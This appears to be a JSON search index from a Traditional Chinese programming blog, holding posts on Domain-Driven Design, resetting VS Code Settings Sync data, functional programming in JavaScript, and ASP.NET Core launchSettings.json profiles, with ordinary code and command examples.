更方便的寫測試案例與腳本，跑起來也很快，還能跟 Postman、Swagger 等整合，對 QA 來說是很方便的 ","date":"2023-04-11T00:00:00Z","image":"https://live.staticflickr.com/65535/52808880406_c06b18a888_o.png","permalink":"https://blog.wayne-project.com/2023-04-11/k6-introduction/","title":"【K6】壓力測試工具介紹"},{"content":" 參考網站\n參考網站\n參考網站\n軟體的核心是他為使用者解決領域相關問題的能力。隨著許多如金融、電商、社交等行業提供的服務越來越強大，軟體需求的複雜度也跟著起飛。身為一名工程師已經不能單純只做好自己的螺絲釘就能完成任務。\n大多時候，程式設計的重點並不在於使用哪個框架技術或優化幾個百分比，而是在於是否能忠實解決業務的需求。\nEric Evans 發明了領域驅動設計 (Domain-Driven Design ，之後簡稱 DDD) ，提倡開發人員也需要與領域專家合作以獲取足夠的業務知識 (business knowledge)，接著將領域知識與業務邏輯注入進程式碼模型之中，達成「程式即設計、設計即程式」的境界。\n運用了這套模式，一來程式碼功能一目瞭然，二來可以有效保護我們的業務邏輯不被竄改，甚至可以適應未來業務邏輯的變化與成長。\nDDD 最大的價值之一就是把將商業領域的知識映照到程式碼中，解放「程式歸程式，業務歸業務」的傳統思維，在過程中甚至可以打破商業團隊與工程團隊間的藩籬，甚至會讓人感覺到：\n開發其實是一場學習的過程，程式碼只是過程的副產物。\nDDD 是什麼？ 介紹 DDD 是什麼之前，我們先定義領域 (Domain) 是什麼。廣泛來說， domain (knowledge) 是指「一塊知識的範圍」。實務上，就是指「你工作上所需的一切知識集合」，包含「問題」以及「解決方案」。\n由此可見， DDD 是一種基於領域知識來解決複雜業務問題的軟體開發方法論。\n它有以下三個重點：\n跟領域專家 (domain expert) 密切合作來定義出 domain 的範圍及相關解決的方案。 切分領域出數個子領域，並專注在核心子領域。 透過一系列設計模式，將領域知識注入進程式模型 (model) 中。 用通用語言(Ubiquitous Language)溝通 現代軟體的複雜特性，沒有一個人或是團隊可以單獨掌握所有的知識細節，甚至連領域專家的理解都可能有所缺漏。為了要盡可能獲取知識的全貌，我們會將溝通所得到的知識提煉出來達成共識後，建立 Ubiquitous Language (通用語言)，減少溝通的成本。\n在神話故事巴別塔中，上帝分化人類的語言讓他們彼此無法溝通以懲罰他們的自大。有趣的是，在應用 DDD 的過程，不同團隊藉由溝通形塑出 Ubiquitous Language ，讓彼此互相理解，進而開發正確的軟體。\n例：開發與商業團隊交流後，發現其實系統需要的是訂單、商品與會員管理三個功能，並且規定大家要用 Ubiquitous Language 互相溝通。\n整個過程可以參考這張圖：\n兩大設計模式類別 與領域專家討論出 Ubiquitous Language 後，就可以開始套用 DDD 的各種設計模式，而這些模式大致上可以分為兩類：Strategic Design (戰略設計) 與 Tactical Design (戰術設計)。\nStrategic Design 戰略設計：利用與領域專家溝通的結果，拆分問題成數個子領域後，定義解決方案(系統)的邊界與關係。 Tactical Design 戰術設計：又稱 Model-Driven Design，在 Strategic Design 的一個個解決方案邊界內，用一系列設計模式寫程式實踐業務邏輯。 簡單來說，Strategic Design 打嘴砲設計大架構與方向，Tactical Design 捲起袖口開始寫程式。\nDDD 帶來的改變 說了很多抽象的概念後，讓我們來看看在實作上，應用了 DDD 的程式碼會帶來什麼樣的改變？\n向貧血模式(Anemic Model)說不 開始前想先跟大家介紹一個有名的反模式：貧血模型 (Anemic Model)，這個反模式泛指那些只有 getter 與 setter 的 model。這些 model 缺乏行為能力，導致使用者每次都要自己組合出自己要的功能。\n因此貧血模型看似什麼都可以透過資料設定去做到，但因為沒有具有行為敘述的 method function ，所以難以應用於複雜的操作中。總體而言能力十分受限，就像貧血一樣。\n貧血模型用起來像在教小孩子一樣，一個指令一個動作還很容易忘掉；具有行為能力的模型則像跟大人溝通一樣，一次行動就能完成許多指令。\n再舉個例子，相信很多人都知道快打旋風、小朋友齊打交等格鬥遊戲。遊戲中角色若是要發動招式，就需要透過組合按鍵如「上跳攻」、「上上下下左右左右 BA」等等。\n沒有行為能力的程式模型，就像這段組合鍵的程式碼一樣：\n1 2 3 4 5 6 7 8 9 Role person = new Person(); // 組合按鍵開始 person.up(); person.down(); person.left(); person.right(); person.press(\u0026#39;A\u0026#39;); person.press(\u0026#39;B\u0026#39;); // 組合按鍵結束 但當我們了解業務邏輯後，就可以將這段程式封裝成有行為能力的 function：\n1 2 Role person = new Person(); person.dragonFist(); 這樣的優勢非常明顯，一來程式易懂好維護，二來要修改也很簡單。重點是程式碼從組合碎片式的資訊轉而關注程式的行為能力。\n這時可能就會有人有疑問：「封裝的好處我懂，但如果濫用了程式碼一樣會亂啊！而且只是把程式封裝為什麼需要 DDD？」\n配合業務語言封裝程式的行為 DDD 注重將業務語言注入程式模型之中，所以只會對重點業務行為進行封裝。如此一來，與其隨意封裝程式碼，DDD 將程式模型與業務邏輯綁在一起，不但可以緊隨業務的變化做修改，而且利用業務語言做封裝也解決了兩大程式難題之一：命名。\n大家可以嘗試看看用業務行為為程式碼命名。最常見就是將原先 CRUD 的貧血命名法更改為充滿業務含義的命名方式。比如說一個 user 的 CRUD 操作可能就變成 register、getProfile、getActivityHistory、updateProfile、changePassword、deactivateAccount、deleteAccount 等等。\n這種做法會在跨模型的情境下發揮更大的優勢，舉個咖啡廳的例子，假如一個正常流程包括點餐、製作、送餐，可以寫出以下程式碼：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 customer = new Customer(\u0026#39;Bill\u0026#39;); order = Order.create(customer, \u0026#39;Coffee\u0026#39;); staff = new Staff(9527); cashier = new Cashier(); // 結帳 order.setStaff(staff); staff.setCashier(cashier); staff.setOrders(order); cashier.addOrder(order); // 泡咖啡 cup = new Cup(); staff.setCup(); cup.setFilterCone(new FilterCone()); cup.setCoffeeGround(new Coffee()); staff.brew(cup); staff.wait(); staff.setFilterCone(null); // 送餐 staff.setCoffeeTo(customer); customer.setCoffee(order); 以上的程式碼可以明顯看出幾個問題：\n所有屬性都可異動 難讀、業務意圖不明顯 難以應付未來的修改 導入 DDD 並與領域專家不斷溝通形成 Ubiquitous Language 後，讓我們修改一下程式碼：\n1 2 3 4 5 6 7 8 9 10 11 12 barista = new Barista(9527); customer = new Customer(\u0026#39;Bill\u0026#39;); order = customer.placeOrder(order); // 處理結帳 barista.processPayment(order); // 處理餐點 barista.make(order); // 處理送餐 barista.serveOrderTo(order, customer); 修改後可以發現，程式的行為都十分貼近現時使用情境，讓即使不會寫程式碼的人都可以看懂了！\n總結 DDD 的優缺點 使用 DDD 有以下優點：\n促進跨團隊的溝通、理解領域知識。 專注在核心業務上 保護業務邏輯，不會因技術細節 (如 db 、框架、基礎設施)而影響。 開發時更靈活彈性、重用程式更方便，能夠面對未來的變化與成長。 更好的模組化 = 更容易測試 (完美搭配 TDD)。 出現 Bug 時更快找到原因 (已經將關注點分離，查出哪邊出問題很快)。 有利用拆分與設計 microservice (這也是最近幾年紅的原因) 不過也有以下幾點需注意：\n較難快速建立產品 (戰術實作部分) 沒有領域專家會很難開頭 (新創需注意) 要導入溝通文化、學習成本高 對於高度科技(數學)專業的專案不一定合適 如果還不確定團隊是否該引入，可以參考這張 DDD 適合度計分卡：\nFAQs 那不就代表我必須離開電腦先跟業務人員開一堆會嗎？ 沒錯，乍聽之下增加了開發人員不少的負擔，但如果這節省了未來讀 spec 、改需求、維護、 debug 的時間，我相信仍是超值的。\n我只是個小/新創團隊 很多人會把 DDD 看似繁重的設計當成敏捷開發的絆腳石。老實說，對於只是要開發 CRUD 的早期專案來說，是有點殺雞焉用牛刀。\n但是 DDD 仍可以帶來幾項巨大的優勢，詳細可以參考這支影片 Turn your startup in a stayup with DDD — Marijn Huizendveld。\n加深對於領域的理解 更加專注在核心領域上 另外新創也常遇到「但我們沒有領域專家啊」的問題。這部分上面提到的影片講者也有遇到，他的解決方法是實際與使用者合作獲取領域知識，再運用 DDD 的技術開發。\n不過也是有社群的朋友分享即使是小專案，他也會利用 DDD 的部分 pattern 來快速建立模型。所以這部分其實見仁見智，對於 DDD 相當熟悉的人其實反而能在開發上更快速、正確的開發。\nDDD 是萬能的嗎？ 沒有什麼方法是銀子彈，只是各取所需罷了。 DDD 的強項在於解決複雜的業務邏輯以及拆分他們。因此搭上了 Microservice 的熱潮。很多人想引用 Microservice 卻不知如何正確拆分他們， DDD 此時提供了絕佳的切入點。\n最後我必須強調， DDD 是一種設計方法，而設計本身沒有對錯，實作方法也有很多，不要只想著追求正確答案與完美設計，動手開始做才能做中學！\nUbiquitous Language 跟商業(業務)語言到底有什麼差別？ Ubiquitous Language 的意涵其實很簡單，可以視為一個被系統所需要且開發團隊與商業團隊都能理解的單字庫。以電商來說，「下訂單」這個詞兩邊都能理解且被系統需要，那個詞就可以被放進 Ubiquitous Language 中，而「顧客轉換率」、「公司營收」等商業用語若是與系統無關，就不在 Ubiquitous Language。\n","date":"2023-03-31T00:00:01Z","image":"https://live.staticflickr.com/65535/52782974405_1186eabd11_o.jpg","permalink":"https://blog.wayne-project.com/2023-03-31/ddd-introduction/","title":"關於領域驅動設計 (Domain-Driven-Design)"},{"content":" 參考網站\n參考網站\n參考網站\nVisual Studio Code 的「擴充套件」裝太多，而且啟用了「設定同步」功能，不好移除。「設定同步」功能會幫我在多台電腦之間自動同步所有使用者設定、自訂快速鍵定義、擴充套件、設定檔(Profile)等等；直接砍掉重裝，會因為「設定同步」功能而自動從雲端同步設定回來。這篇文章就來說明如何清空雲端資料的過程。\n問題發生過程 原本的需求其實很簡單，就是單純想把擴充套件全部移除重新安裝，但又不想一個一個移除；所以我這樣移除：\n關閉 Visual Studio Code。 開啟檔案總管，進入 %USERPROFILE%\\.vscode\\extensions 資料夾。 直接刪除 %USERPROFILE%\\.vscode\\extensions 整個資料夾。 重新啟動 Visual Studio Code。 這樣就可以移除所有的 Visual Studio Code 擴充套件！👍\n但是我啟用了 Visual Studio Code 的「設定同步」功能，使用這個功能需要登入 GitHub 或 Microsoft 帳戶，而只要你登入之後，發現本地沒有任何擴充套件，他就會開始從雲端同步設定回來！\n正確的操作步驟說明 為了解決我的問題，正確的操作步驟應該是：\n備份目前的設定檔 由於設定檔可以匯出匯入，所以預先匯出已經設定好的設定檔，日後匯入就會很方便。\n清除雲端中的資料 這裡對我來說最難的地方在於找到「清除雲端中的資料」這個功能，官網文件的 How do I delete my data? 章節描述完全是錯誤的。\n刪除所有擴充套件 此時就可以用上個段落所寫的技巧快速刪除所有擴充套件。\n重新開啟設定同步 重新登入「設定同步」的帳號即可重新開始同步設定！\n如何清除雲端中的資料 其正確的清除方法步驟如下：\n先確定設定同步已開啟 按下 F1 ➡️ 搜尋 Settings Sync: Show Synced Data 命令 在設定同步視窗的右上角點擊 ... 並點選 清除雲端中的資料\u0026hellip; 選項 點擊「重設」即可清除雲端中資料，並在你所有的裝置上停止同步 重設 VSCode 設定同步認證 如果每次開啟 Visual Studio Code 都需要登入一次設定同步的話，可能代表你的認證資訊已經亂掉了，需要參考官方文件的 Troubleshooting keychain issues 章節來修復這個問題。\n如果是 Windows 的話，透過 PowerShell 執行以下命令即可：\n1 cmdkey /list | Select-String -Pattern \u0026#34;LegacyGeneric:target=(vscode.+)\u0026#34; | ForEach-Object { cmdkey.exe /delete $_.Matches.Groups[1].Value } ","date":"2023-03-31T00:00:00Z","image":"https://live.staticflickr.com/65535/52782930740_1e05a50348_o.png","permalink":"https://blog.wayne-project.com/2023-03-31/reset-vscode-settings-cloud-data/","title":"【VSCode】重置儲存在雲端的設定、擴充套件與資料！"},{"content":" 參考網站\n參考網站\n在軟體工程開發的領域中，我們為了解決不同的問題，因此衍生出許多不同的程式設計(Programming paradigm)方式，這些設計方法彼此之間並沒有所謂的好壞、優劣，只有解決問題適合度高低的差異。\n函數式編程(Functional Programming，以下簡稱 FP)是眾多程式設計(Programming Paradigm) 方式的其中一種，有別於老早就大紅大紫的物件導向編成(object-oriented Programming，OOP) 方式(OO還衍伸出許多設計模式)，FP 則是近年來較為熱門的程式設計方式。像是 React 這套 JavaScript 框架就是使用 FP 來開發程式，因此若想學習 React.js 勢必也要熟悉 FP 的基本概念，而 JavaScript 程式語言也需要符合 FP 的編程理念。本篇將以 JavaScript 作為出發，解釋 JavaScript 函數式編程的重要概念。\n本篇皆以 JavaScript 為範例。\nFirst-class \u0026amp; higher-order functions First-class(一等公民) 我們可以想像成對待函式(Functions) 如同對待其他資料型別一樣。\n例如：可以直接賦予值或者存至陣列中當作參數傳遞。\n例如，我們可以宣告：\n1 const a = 1; 1 的值也就指定給 a。\n因此我們也可以直接將函式(Functions) 指定給任一變數：\n1 const a = (x,y) =\u0026gt; x * y; a 也就變成 (x * y) Function 的變數，呼叫 a(2, 4) 則會返回值 8。\nhigher-order functions(高階函式) 在維基百科中高階函式至少會滿足下列其中一項條件：\n可以將函式(至少一個)當成參數傳入另一個函式。 可以將函式當成另一個函式的回傳值。 1 2 3 4 5 6 7 8 9 10 11 var add = function(x) { return function(y) { return x + y; }; }; var addFive = add(5); var addTen = add(10); addFive(2); // 7 addTen(2); // 12 由上述範例我們可以得知，add 函式接收參數 (x)，並且回傳一個函式 ( x + y ) 作為回傳值。\n因此在宣告 addFive 變數時，同時給定 x = 5 至 add 函式，往後使用 addFive 變數(函式變數)皆會從 5 開始加減。\n上述則是符合 higher-order functions 的例子，add 函式(Functions) 接收參數並且回傳一個函式(Functions) 作為回傳值。\n函數柯里化文章可參考之前撰寫的(【Function Currying】Javascript 函數柯里化)[/2023-03-16/js-function-currying/]\nPure Functions Pure Functions(純函式)，意指將相同的 input 丟入函式，永遠會回傳相同的 output 結果，而且在過程中完全沒有任何的副作用。此處的副作用通常意味著「避免狀態改變」、「避免資料改變」，我們可以想成不與函式區塊域(block) 以外的變數做互動(最典型的例子，修改全域變數的值)，或者不論函式以外做了什麼，函式(Functions) 內的運算依舊不受改變。換句話說，Pure Functions 擅於純運算，而不做其他事情(ex. 讀取外部資料)。\n範例如下：\n1 2 3 4 5 6 7 8 9 // slice: Pure Function var arr = [1, 2, 3, 4, 5, 6]; arr.slice(0, 3); // output = [1, 2, 3], arr = [1, 2, 3, 4, 5, 6] arr.slice(0, 3); // output = [1, 2, 3], arr = [1, 2, 3, 4, 5, 6] // splice: not Pure Function var arr = [1, 2, 3, 4, 5, 6]; arr.splice(0, 3); // output = [1, 2, 3], arr = [4, 5, 6] arr.splice(0, 3); // output = [4, 5, 6], arr = [] 在 Functional Programming 中，slice 函式(Functions) 就符合我們 Pure Functions 的規範，相同 input，永遠回傳相同 output 且無副作用。而 splice 函式(Functions) 則是每次呼叫，output 以及原始資料皆會不相同，因此不算是 Pure Functions。\n副作用 以 JavaScript 為例， 副作用還包括：\n更改外部變數或者物件屬性(例如：全域變數、父類別範圍內的變數等) 寫入 console.log、檔案 觸發外部流程 呼叫任何有副作用的函式(Functions) Declarative vs Imperative 函數式編程(Functional Programming) 屬於宣告式編程(Declarative Paradigm) 的一種。\n宣告式編程(Declarative Paradigm)： 較為抽象的程式碼，可以藉由自然語言直觀的理解該行程式碼想要達到什麼樣的結果。描述該在哪做什麼(what to do)以及資料流程(data flow)。\n指令式編程(Imperative Paradigm)： 程式碼具體表達需要做什麼來達到目標。描述該做什麼(how to do)以及流程控制(flow control)。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 var a = [1, 2, 3, 4, 5]; // Declarative Programming declarativeSquare = (arr) =\u0026gt; arr.map((val) =\u0026gt; val*val) declarativeSquare(a); // [1, 4, 9, 16, 25] // Imperative Programming imperativeSquare = (arr) =\u0026gt; { for (var i = 0; i \u0026lt; arr.length; i++) { arr[i] *= arr[i]; } return arr; } imperativeSquare(a); // [1, 4, 9, 16, 25] 宣告式編程(Declarative Paradigm) 較依賴表達式(expression)，表達式是一個單純的運算過程，並且總是會返回值。屬於宣告式編程的程式語言有：HTML、SQL、LINQ。\n指令式編程(Imperative Paradigm) 的程式碼經常使用程式語言基本的語句(statement)，例如：for、while、if、switch\u0026hellip;等等。屬於指令式編程的程式語言有：C、JAVA。\n總結 函數式編程(Functional Programming) 誕生了五十多年後，終於獲得程式開發者大量的關注，目前 ML 非常紅的 Python 以及前後端 JavaScript 等語言，對於函數式編程(Functional Programming) 的支持都很強。本篇文章整理 JavaScript 符合函數式編程(Functional Programming) 概念的幾個元素(First-class、higher-order functions、Pure Functions)，希望透過 JavaScript 的實例理解函數式編程所講述的核心理念為何。最後比較宣告式編程(Declarative Paradigm)以及指令式編程(Imperative Paradigm)，對自己過去在軟體開發這塊領域所學的做個整理，理清並梳理已有的知識。\n","date":"2023-03-27T00:00:00Z","image":"https://live.staticflickr.com/65535/52774306416_350deb7178_o.png","permalink":"https://blog.wayne-project.com/2023-03-27/js-functional-programming/","title":"【Javascript】關於 Functional Programming 函數式編程"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n轉載自網站\n由於 ASP.NET Core 7.0 與 ASP.NET Core 6.0 的專案範本中的啟動設定檔(Launch Settings)有些許不同，所以來整理一下相關知識，更好的認識這個 Properties\\launchSettings.json 檔案。\n先看看 Properties\\launchSettings.json 的差異 先用 dotnet new mvc 在 ASP.NET Core 6.0 與 ASP.NET Core 7.0 產生一樣的專案：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 6.0 mkdir projectV6 cd projectV6 dotnet new globaljson --sdk-version 6.0.100 --roll-forward latestFeature dotnet --version dotnet new mvc # 7.0 mkdir projectV7 cd projectV7 dotnet new globaljson --sdk-version 7.0.100 --roll-forward latestFeature dotnet --version dotnet new mvc 由於專案範本不同，專案內的 Properties\\launchSettings.json 檔案內容其實不太一樣：\nASP.NET Core 6.0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 { \u0026#34;iisSettings\u0026#34;: { \u0026#34;windowsAuthentication\u0026#34;: false, \u0026#34;anonymousAuthentication\u0026#34;: true, \u0026#34;iisExpress\u0026#34;: { \u0026#34;applicationUrl\u0026#34;: \u0026#34;http://localhost:22303\u0026#34;, \u0026#34;sslPort\u0026#34;: 44378 } }, \u0026#34;profiles\u0026#34;: { \u0026#34;m1\u0026#34;: { \u0026#34;commandName\u0026#34;: \u0026#34;Project\u0026#34;, \u0026#34;dotnetRunMessages\u0026#34;: true, \u0026#34;launchBrowser\u0026#34;: true, \u0026#34;applicationUrl\u0026#34;: \u0026#34;https://localhost:7007;http://localhost:5183\u0026#34;, \u0026#34;environmentVariables\u0026#34;: { \u0026#34;ASPNETCORE_ENVIRONMENT\u0026#34;: \u0026#34;Development\u0026#34; } }, \u0026#34;IIS Express\u0026#34;: { \u0026#34;commandName\u0026#34;: \u0026#34;IISExpress\u0026#34;, \u0026#34;launchBrowser\u0026#34;: true, \u0026#34;environmentVariables\u0026#34;: { \u0026#34;ASPNETCORE_ENVIRONMENT\u0026#34;: \u0026#34;Development\u0026#34; } } } } ASP.NET Core 7.0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 { \u0026#34;iisSettings\u0026#34;: { \u0026#34;windowsAuthentication\u0026#34;: false, \u0026#34;anonymousAuthentication\u0026#34;: true, \u0026#34;iisExpress\u0026#34;: { \u0026#34;applicationUrl\u0026#34;: \u0026#34;http://localhost:9601\u0026#34;, \u0026#34;sslPort\u0026#34;: 44330 } }, \u0026#34;profiles\u0026#34;: { \u0026#34;http\u0026#34;: { \u0026#34;commandName\u0026#34;: \u0026#34;Project\u0026#34;, \u0026#34;dotnetRunMessages\u0026#34;: true, \u0026#34;launchBrowser\u0026#34;: true, \u0026#34;applicationUrl\u0026#34;: \u0026#34;http://localhost:5041\u0026#34;, \u0026#34;environmentVariables\u0026#34;: { \u0026#34;ASPNETCORE_ENVIRONMENT\u0026#34;: \u0026#34;Development\u0026#34; } }, \u0026#34;https\u0026#34;: { \u0026#34;commandName\u0026#34;: \u0026#34;Project\u0026#34;, \u0026#34;dotnetRunMessages\u0026#34;: true, \u0026#34;launchBrowser\u0026#34;: true, \u0026#34;applicationUrl\u0026#34;: \u0026#34;https://localhost:7068;http://localhost:5041\u0026#34;, \u0026#34;environmentVariables\u0026#34;: { \u0026#34;ASPNETCORE_ENVIRONMENT\u0026#34;: \u0026#34;Development\u0026#34; } }, \u0026#34;IIS Express\u0026#34;: { \u0026#34;commandName\u0026#34;: \u0026#34;IISExpress\u0026#34;, \u0026#34;launchBrowser\u0026#34;: true, \u0026#34;environmentVariables\u0026#34;: { \u0026#34;ASPNETCORE_ENVIRONMENT\u0026#34;: \u0026#34;Development\u0026#34; } } } } 從上述內容你可以很清楚的發現 ASP.NET Core 6.0 與 ASP.NET Core 7.0 有以下 2 點差異：\nASP.NET Core 6.0 的 profiles 只有兩個，但是 ASP.NET Core 7.0 的 profiles 卻有三個！ ASP.NET Core 6.0 的第一個 Profile 預設名稱為「專案名稱」(projectV6)，而 ASP.NET Core 7.0 的第一個 Profile 名稱卻是 http，而且還多出一個 https 設定檔。 其實在 ASP.NET Core 6.0 以前，所有的專案範本中第一個 Profile 預設名稱都為「專案名稱」，所以其實大家對這個名字沒有什麼感覺，直到 ASP.NET Core 7.0 做出了改變，這才有人發現原來這東西的用途。\n不載入啟動設定檔 從 ASP.NET Core 6.0 開始，透過 dotnet new 專案範本所建立的 ASP.NET Core 專案，預設都不會繼續使用早期的 Port 5000 (http) 與 Port 5001 (https)，可能是因為多專案的架構下太容易衝突，而且太多人不清楚啟動設定檔的存在，所以就改成用亂數的 Port 埠號。\n但是亂數的 Port 埠號其實很難寫文件，所以我為了讓學員檢測自己是否有成功裝好 .NET SDK 工具，我會這樣寫：\n1 2 3 4 5 6 7 8 # 建立並進入資料夾 mkdir projectV7 \u0026amp;\u0026amp; cd projectV7 # 建立 ASP.NET Core MVC 專案範本 dotnet new mvc # 啟動網站並忽略啟動設定檔 dotnet run --no-launch-profile 這裡的 --no-launch-profile 就是避免 dotnet new 去讀取專案中的 Properties\\launchSettings.json 啟動設定檔，而 .NET Runtime 的 dotnet run 命令，在沒有載入啟動設定檔的情況下，在 ASP.NET Core 6.0 與 ASP.NET Core 7.0 有細微的差異：\n預設 ASP.NET Core 6.0 網站會監聽 Port 5000 (http) 與 Port 5001 (https)。 預設 ASP.NET Core 7.0 網站會監聽 Port 5000 (http)。 由於 ASP.NET Core 的 TLS 自簽憑證預設只有一年效期，每年都要更新，雖然更新很簡單，命令如下：\n1 2 dotnet dev-certs https --clean dotnet dev-certs https --trust 應該是有很多人搞不定 https 問題，才讓微軟決定降低開發門檻，直接把預設 https 的 binding 移除！\n啟動設定檔的用法 我們在執行 dotnet run 的時候，只要沒特別指定啟動設定檔，預設就會自動載入 Properties\\launchSettings.json 設定檔中的第一個 profiles 中的設定，由於 ASP.NET Core 7.0 的「第一個」是 http 這個名字：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 { // ... \u0026#34;profiles\u0026#34;: { \u0026#34;http\u0026#34;: { \u0026#34;commandName\u0026#34;: \u0026#34;Project\u0026#34;, \u0026#34;dotnetRunMessages\u0026#34;: true, \u0026#34;launchBrowser\u0026#34;: true, \u0026#34;applicationUrl\u0026#34;: \u0026#34;http://localhost:5041\u0026#34;, \u0026#34;environmentVariables\u0026#34;: { \u0026#34;ASPNETCORE_ENVIRONMENT\u0026#34;: \u0026#34;Development\u0026#34; } }, // ... } // ... } 所以當網站啟動時，我們的 applicationUrl 預設就只有 http 的網址而已，因此網站啟動時並不會有 https 可以測試！\n1 2 3 4 5 6 7 8 9 10 11 dotnet run \u0026gt; Building... \u0026gt; info: Microsoft.Hosting.Lifetime[14] \u0026gt; Now listening on: http://localhost:5041 \u0026gt; info: Microsoft.Hosting.Lifetime[0] \u0026gt; Application started. Press Ctrl+C to shut down. \u0026gt; info: Microsoft.Hosting.Lifetime[0] \u0026gt; Hosting environment: Development \u0026gt; info: Microsoft.Hosting.Lifetime[0] \u0026gt; Content root path: G:\\Projects\\projectV7 那如果我們也想測試 https 網址怎麼辦，這時你就可以選擇 Properties\\launchSettings.json 設定檔中的第二個 profiles 中的設定：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 { // ... \u0026#34;profiles\u0026#34;: { // ... \u0026#34;https\u0026#34;: { \u0026#34;commandName\u0026#34;: \u0026#34;Project\u0026#34;, \u0026#34;dotnetRunMessages\u0026#34;: true, \u0026#34;launchBrowser\u0026#34;: true, \u0026#34;applicationUrl\u0026#34;: \u0026#34;https://localhost:7068;http://localhost:5041\u0026#34;, \u0026#34;environmentVariables\u0026#34;: { \u0026#34;ASPNETCORE_ENVIRONMENT\u0026#34;: \u0026#34;Development\u0026#34; } } } // ... } 其啟動的方式如下：\n1 2 3 4 dotnet run --launch-profile \u0026#34;https\u0026#34; # 或者可以簡寫成這樣: # dotnet run -lp \u0026#34;https\u0026#34; 1 2 3 4 5 6 7 8 9 10 11 12 13 dotnet run --launch-profile \u0026#34;https\u0026#34; \u0026gt; Building... \u0026gt; info: Microsoft.Hosting.Lifetime[14] \u0026gt; Now listening on: https://localhost:7068 \u0026gt; info: Microsoft.Hosting.Lifetime[14] \u0026gt; Now listening on: http://localhost:5041 \u0026gt; info: Microsoft.Hosting.Lifetime[0] \u0026gt; Application started. Press Ctrl+C to shut down. \u0026gt; info: Microsoft.Hosting.Lifetime[0] \u0026gt; Hosting environment: Development \u0026gt; info: Microsoft.Hosting.Lifetime[0] \u0026gt; Content root path: G:\\Projects\\projectV7 深入瞭解啟動設定檔 在啟動設定檔中有個 launchBrowser 屬性，預設為 true，從字面上來看，就是「啟動瀏覽器」的意思。但其實我們用 dotnet run 並不會因為 launchBrowser 為 true 就開啟網頁，而是要透過 dotnet watch 命令啟動網站才會真的啟動瀏覽器並開啟網頁！\n另一方面，你可能會發現我們在 Visual Studio 2022 裡面每次啟動網站都會開啟網頁，這時我其實也會覺得這個設計很煩，每次都一直不斷的開啟新頁籤，其實蠻惱人的。而關掉的方法，就是調整啟動設定檔中的 launchBrowser 屬性，調整為 false 即可！\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 { // ... \u0026#34;profiles\u0026#34;: { // ... \u0026#34;https\u0026#34;: { \u0026#34;commandName\u0026#34;: \u0026#34;Project\u0026#34;, \u0026#34;dotnetRunMessages\u0026#34;: true, \u0026#34;launchBrowser\u0026#34;: false, \u0026#34;applicationUrl\u0026#34;: \u0026#34;https://localhost:7068;http://localhost:5041\u0026#34;, \u0026#34;environmentVariables\u0026#34;: { \u0026#34;ASPNETCORE_ENVIRONMENT\u0026#34;: \u0026#34;Development\u0026#34; } } } // ... } 另外還有一個 dotnetRunMessages 也是個謎一般的存在，完全沒有文件說明，而這個設定也確實沒太多存在感！各位可以看下圖差異之處，只有在 dotnet run 啟動的時候有非常細微的差異而已。我們在透過 dotnet run 啟動網站時，由於要先 dotnet build 過才能真正 Run 起來，而這段時間大概會跑個 2 ~ 3 秒左右，如果在 dotnetRunMessages 為 true 時，在 Console 會優先出現一個 Building\u0026hellip; 字樣，讓你知道 dotnet run 沒掛掉，他只是還在跑而已，否則你會有 2 ~ 3 秒的空白，有人會覺得好像程式沒啟動，感覺怪怪的！😅\n1 2 3 4 5 6 7 8 9 10 11 12 # dotnetRunMessage = true 時 dotnet run \u0026gt; Building... \u0026gt; info: Microsoft.Hosting.Lifetime[14] \u0026gt; Now listening on: http://localhost:5041 \u0026gt; info: Microsoft.Hosting.Lifetime[0] \u0026gt; Application started. Press Ctrl+C to shut down. \u0026gt; info: Microsoft.Hosting.Lifetime[0] \u0026gt; Hosting environment: Development \u0026gt; info: Microsoft.Hosting.Lifetime[0] \u0026gt; Content root path: G:\\Projects\\projectV7 1 2 3 4 5 6 7 8 9 10 11 # dotnetRunMessage = false 時 dotnet run \u0026gt; info: Microsoft.Hosting.Lifetime[14] \u0026gt; Now listening on: http://localhost:5041 \u0026gt; info: Microsoft.Hosting.Lifetime[0] \u0026gt; Application started. Press Ctrl+C to shut down. \u0026gt; info: Microsoft.Hosting.Lifetime[0] \u0026gt; Hosting environment: Development \u0026gt; info: Microsoft.Hosting.Lifetime[0] \u0026gt; Content root path: G:\\Projects\\projectV7 詳見 Purpose of dotnetRunMessages in launchSettings.json - Stack Overflow 說明。\n最後，還有個 commandName 也是謎一般的存在，依然完全沒有文件說明，但在 Stack Overflow 有篇文章有做詳細說明，其設定值有可能是以下四種：\nProject 將當前的這個應用程式作為控制台應用程式運行，這裡的設定跟你用 dotnet run 執行是相同的。\nIIS Express 預設使用 IIS Express 開發伺服器來執行 ASP.NET Core 應用程式。\n這個選項只能用在 Visual Studio 而已，.NET CLI 是不支援的！\nIIS 當你在本機安裝 IIS 後，您可以讓您的應用程式直接在 IIS 執行。\n這個選項只能用在 Visual Studio 而已，.NET CLI 是不支援的！\nExecutable 這讓你可以執行任意執行檔、傳入任意參數，非常靈活的設定！\n這個選項只能用在 Visual Studio 而已，.NET CLI 是不支援的！\n例如你不想用 Visual Studio 2022 內建難用的 Hot Reload 的話，可以這樣設定：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 { // ... \u0026#34;Watch\u0026#34;: { \u0026#34;commandName\u0026#34;: \u0026#34;Executable\u0026#34;, \u0026#34;dotnetRunMessages\u0026#34;: true, \u0026#34;executablePath\u0026#34;: \u0026#34;dotnet\u0026#34;, \u0026#34;commandLineArgs\u0026#34;: \u0026#34;watch run\u0026#34;, \u0026#34;workingDirectory\u0026#34;: \u0026#34;$(ProjectDir)\u0026#34;, \u0026#34;launchBrowser\u0026#34;: true, \u0026#34;applicationUrl\u0026#34;: \u0026#34;https://localhost:5001;http://localhost:5000\u0026#34;, \u0026#34;environmentVariables\u0026#34;: { \u0026#34;ASPNETCORE_ENVIRONMENT\u0026#34;: \u0026#34;Development\u0026#34; } } // ... } 